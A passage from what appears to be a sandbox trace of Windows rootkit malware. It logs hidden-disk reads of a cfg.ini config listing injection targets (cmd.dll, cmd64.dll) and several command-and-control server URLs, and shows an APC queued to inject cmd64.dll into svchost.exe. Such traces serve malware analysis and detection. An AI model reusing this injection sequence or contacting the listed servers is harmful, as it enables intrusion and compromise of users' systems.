MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.278] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.278] IdePortDispatch () returned 0x103 [0098.278] KeWaitForMutexObject () returned 0x0 [0098.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.278] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.278] IdePortDispatch () returned 0x103 [0098.278] KeWaitForMutexObject () returned 0x0 [0098.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.278] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.278] IdePortDispatch () returned 0x103 [0098.278] KeWaitForMutexObject () returned 0x0 [0098.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.278] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0098.279] IdePortDispatch () returned 0x103 [0098.279] KeWaitForMutexObject () returned 0x0 [0098.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.279] KeLeaveCriticalRegion () [0098.279] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.279] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004fc, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0098.279] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0098.279] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0098.279] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004fc, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x50000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0098.279] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0098.279] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80038f2cf0 [0098.279] KeInitializeApc (Apc=0xfffffa80038f2cf0, Thread=0xfffffa8002a3c060, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0098.279] KeInsertQueueApc (Apc=0xfffffa80038f2cf0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0098.279] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0098.279] ZwClose (Handle=0x14) returned 0x0 [0098.280] ZwClose (Handle=0xffffffff80000528) returned 0x0 [0098.280] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0098.280] KeEnterCriticalRegion () [0098.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.280] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa80018ab040 [0098.280] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80038f56c0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0098.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.280] KeLeaveCriticalRegion () [0098.280] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.280] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0098.280] PsGetProcessImageFileName () returned 0xfffffa80038dde10 [0098.280] _snprintf (in: _Dest=0xfffffa80038f5b18, _Count=0x103, _Format="%s (x64)" | out: _Dest="svchost.exe (x64)") returned 17 [0098.280] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0098.280] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000528, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0098.280] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.280] KeEnterCriticalRegion () [0098.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.280] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0098.280] IdePortDispatch () returned 0x103 [0098.280] KeWaitForMutexObject () returned 0x0 [0098.280] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.280] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0098.280] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0098.280] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0098.280] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0098.280] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038f2830 [0098.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.280] KeLeaveCriticalRegion () [0098.281] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.281] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0098.281] NtLockFile (in: FileHandle=0xffffffff80000528, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0098.281] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.281] KeEnterCriticalRegion () [0098.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0098.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.281] KeLeaveCriticalRegion () [0098.281] ZwQueryInformationFile (in: FileHandle=0xffffffff80000528, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0098.281] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.281] KeEnterCriticalRegion () [0098.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.281] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0098.281] IdePortDispatch () returned 0x103 [0098.281] KeWaitForMutexObject () returned 0x0 [0098.281] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.281] KeLeaveCriticalRegion () [0098.281] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.281] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0017a3e40 [0098.281] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0098.281] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0098.281] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="svchost.exe (x64)=") returned 18 [0098.281] _strlwr (in: _Str="svchost.exe (x64)=" | out: _Str="svchost.exe (x64)=") returned="svchost.exe (x64)=" [0098.281] ZwReadFile (in: FileHandle=0xffffffff80000528, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a0017a3e40, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a0017a3e40*) returned 0x0 [0098.281] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.281] KeEnterCriticalRegion () [0098.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.282] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c55e40 [0098.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0098.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0098.282] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0098.282] IdePortDispatch () returned 0x103 [0098.282] KeWaitForMutexObject () returned 0x0 [0098.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0098.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0098.282] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0098.282] IdePortDispatch () returned 0x103 [0098.282] KeWaitForMutexObject () returned 0x0 [0098.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.282] KeLeaveCriticalRegion () [0098.282] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.282] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0098.282] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="svchost.exe (x64)=") returned 0x0 [0098.282] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0098.282] ExFreePoolWithTag (P=0xfffff8a0017a3e40, Tag=0x0) [0098.282] ZwClose (Handle=0xffffffff80000528) returned 0x0 [0098.282] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.283] KeEnterCriticalRegion () [0098.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.283] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa80018ab040 [0098.283] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038f5470, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0098.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.283] KeLeaveCriticalRegion () [0098.283] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.283] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.283] KeEnterCriticalRegion () [0098.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.283] ExFreePoolWithTag (P=0xfffffa80038f2830, Tag=0x0) [0098.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.283] KeLeaveCriticalRegion () [0098.283] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.283] ZwClose (Handle=0xffffffff800004fc) returned 0x0 [0098.283] KeSetEvent (in: Event=0xfffffa80038f57f0, Increment=0x0, Wait=0 | out: Event=0xfffffa80038f57f0) returned 0 [0099.736] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x5f8, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff800004f8) returned 0x0 [0099.736] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0099.736] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff8000052c, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0099.736] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.736] KeEnterCriticalRegion () [0099.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.736] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0099.736] IdePortDispatch () returned 0x103 [0099.736] KeWaitForMutexObject () returned 0x0 [0099.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0099.736] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0099.736] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0099.736] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0099.736] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0099.736] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037bc090 [0099.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.736] KeLeaveCriticalRegion () [0099.736] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.737] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0099.737] NtLockFile (in: FileHandle=0xffffffff8000052c, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0099.737] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.737] KeEnterCriticalRegion () [0099.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0099.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.737] KeLeaveCriticalRegion () [0099.737] ZwQueryInformationFile (in: FileHandle=0xffffffff8000052c, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0099.737] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.737] KeEnterCriticalRegion () [0099.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.737] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0099.737] IdePortDispatch () returned 0x103 [0099.737] KeWaitForMutexObject () returned 0x0 [0099.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0099.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.737] KeLeaveCriticalRegion () [0099.737] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.737] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a001827c10 [0099.737] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0099.737] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0099.737] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="*=") returned 2 [0099.737] _strlwr (in: _Str="*=" | out: _Str="*=") returned="*=" [0099.737] ZwReadFile (in: FileHandle=0xffffffff8000052c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001827c10, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001827c10*) returned 0x0 [0099.737] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.737] KeEnterCriticalRegion () [0099.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.737] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88004031c10 [0099.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038bc390 [0099.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0099.737] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0099.737] IdePortDispatch () returned 0x103 [0099.738] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0099.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038bc390 [0099.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0099.738] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0099.738] IdePortDispatch () returned 0x103 [0099.738] KeWaitForMutexObject () returned 0x0 [0099.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.738] KeLeaveCriticalRegion () [0099.738] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.738] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0099.738] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="*=") returned="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n" [0099.738] strncpy (in: _Dest=0xfffffa800392c754, _Source="cmd.dll", _Count=0x104 | out: _Dest="cmd.dll") returned="cmd.dll" [0099.738] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0099.738] ExFreePoolWithTag (P=0xfffff8a001827c10, Tag=0x0) [0099.738] ZwClose (Handle=0xffffffff8000052c) returned 0x0 [0099.738] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.738] 